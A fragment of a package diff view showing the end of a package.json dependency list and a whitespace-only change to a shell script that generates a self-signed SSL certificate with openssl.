"webp-converter": "^2.3.3",
|
|
52
|
+
"ws": "^8.9.0",
|
|
53
|
+
"xlsx": "^0.17.5"
|
|
54
|
+
}
|
|
55
|
+
}
|
package/ssl/create_ssl.sh
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
openssl genrsa -out key.pem
|
|
2
|
-
openssl req -new -key key.pem -out csr.pem
|
|
3
|
-
openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem
|
|
1
|
+
openssl genrsa -out key.pem
|
|
2
|
+
openssl req -new -key key.pem -out csr.pem
|
|
3
|
+
openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem
|
|
4
4
|
rm csr.pem
|